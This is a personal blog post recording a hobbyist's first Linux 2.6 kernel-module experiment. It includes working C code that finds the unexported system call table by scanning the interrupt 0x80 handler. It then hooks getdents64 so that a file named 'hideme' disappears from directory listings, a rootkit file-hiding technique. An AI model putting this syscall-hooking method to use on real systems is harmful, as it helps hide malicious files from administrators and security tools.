soap crazy
recently… i’ve been watching more and more ju mong!
i need a more creative title.
[ 2.6 and the system call table ]
I’m following an article[1] about lkms, but encountered a bit of a stumbling block as the system call table is not exported on 2.6
arch/i386/kernel/traps.c :: void __init trap_init(void)
shows the interrupt 0x80 vector with its handler (system_call) being setup on the Interrupt Descriptor Table.
arch/i386/kernel/entry.S :: ENTRY(system_call)
the handler stub is being setup. the label “syscall_call” is interesting. it does a call to “sys_call_table” with an offset depending on the system_call number in eax.
arch/i386/kernel/syscall_table.S :: ENTRY(sys_call_table)
here we have the system call table function pointer entries.
so if i know the address of the IDT, maybe i could trace my way to the call is being made to get the address of the sys_call_table.
i could search for the address of “sysacll_call” inside the kernel elf image (there are some ways to do that). then, extract the address of sys_call_table from the raw opcode listing.
misha@heaven /usr/src/linux $ readelf -s vmlinux | grep -i syscall_call 435: c010318e 0 NOTYPE LOCAL DEFAULT 1 syscall_call misha@heaven /usr/src/linux $ grep -i syscall_call System.map c010318e t syscall_call misha@heaven /usr/src/linux $ gdb vmlinux (no debugging symbols found) Using host libthread_db library "/lib/libthread_db.so.1". gdb $ x/x &syscall_call 0xc010318e <syscall_call>: 0xc08514ff
it’s a 7 byte instruction. 3 bytes for opcode/modrm/sib + 4 byte address. going further…
gdb $ x/x &syscall_call+3 0xc0103191 <syscall_call+3>: 0xc04075c0 gdb $ x/x &sys_call_table 0xc04075c0 <sys_call_table>: 0xc0124e20
worth a shot.
struct idt_t {
unsigned short limit;
unsigned int base;
} __attribute__ ((packed));
struct idt_entry {
unsigned short low_offset;
unsigned short segment_selector;
unsigned char byte_pad;
unsigned char flags;
unsigned short high_offset;
} __attribute__ ((packed));
#define BLOCKSIZE 0xff
#define CALL_OPCODE "\xff\x14\x85" /* fingerprint */
#define SYSCALL_VECTOR 0x80
#define idt_entry_size (sizeof(struct idt_entry))
#define vector_offset(x) ((x)*idt_entry_size)
static struct idt_entry *get_idt_desc(int vector)
{
struct idt_t idt;
/* load address of interrupt descriptor table */
__asm__ ("sidt %0" : "=m" (idt));
/* get idt entry offset of vector */
return (struct idt_entry *)(idt.base + vector_offset(vector));
}
static unsigned long *get_handler_offset(struct idt_entry *gate)
{
if (!gate) return NULL;
return (unsigned long *)(gate->high_offset << 16 | gate->low_offset);
}
static unsigned long *get_sct(void)
{
int i;
struct idt_entry *sys_gate;
char *entry;
sys_gate = get_idt_desc(SYSCALL_VECTOR);
entry = (char *) get_handler_offset(sys_gate);
if (entry) {
/* iterate thru each byte in BLOCKSIZE range
* starting at ENTRY(system_call) */
for (i=0; i<blocksize ; i++, entry++)
if (!strncmp(entry, CALL_OPCODE, 3)) goto out;
}
return NULL;
out:
/* skip 3 bytes (opcode RM SIB) */
entry += 3;
/* UGLY: dereference to get addr of sys_call_table */
return (unsigned long *)(*(unsigned long *)entry);
}
i checked the value i got against the value in System.map and it matched. wee!
[ sys_getdents64 ]
a quick ’strace ls’ showed that sys_getdents64() is the kernel system call interface responsible for reading the dirent structures.
misha@heaven ~/mydir $ strace ls 2>&1 | grep -i getdents getdents64(3, /* 2 entries */, 131072) = 48 getdents64(3, /* 0 entries */, 131072) = 0
next comes updating of the relevant entry in the system call table with my own brew[2]. (writing to sys_call_table[] went without a hitch for some reason…)
long (*o_getdents64)(unsigned int, struct linux_dirent64 *, unsigned int); long n_getdents64(unsigned int, struct linux_dirent64 *, unsigned int); o_getdents64 = sys_call_table[__NR_getdents64]; sys_call_table[__NR_getdents64] = n_getdents64;
and then finally, modify the dirent array so that the structure for the file i wish to remain hidden becomes transparent. what i did is to add the d_reclen value of the current dirent to the d_reclen field of the dirent structure immediately preceeding the current dirent. prolly not the best way to do things.
[ trying things out: ]
so the filename “hideme” is our magic filename string.
misha@heaven ~/mydir $ echo "hello world" >> hideme misha@heaven ~/mydir $ cat hideme hello world misha@heaven ~/mydir $ ls -l total 0
notes:
just my baptism of fire into the wonderful world of linux lkms. not foolproof as it is entirely dependent on just a single syscall (getdents64) but at least i could count on being safe from my mom.
tab completion doesn’t work on the “magic string” too.
references:
[1] Nearly Complete LKM Guide by pragmatic version 1.0
[2] mygentdents.c
Get free blog up and running in minutes with Blogsome | Theme designs available here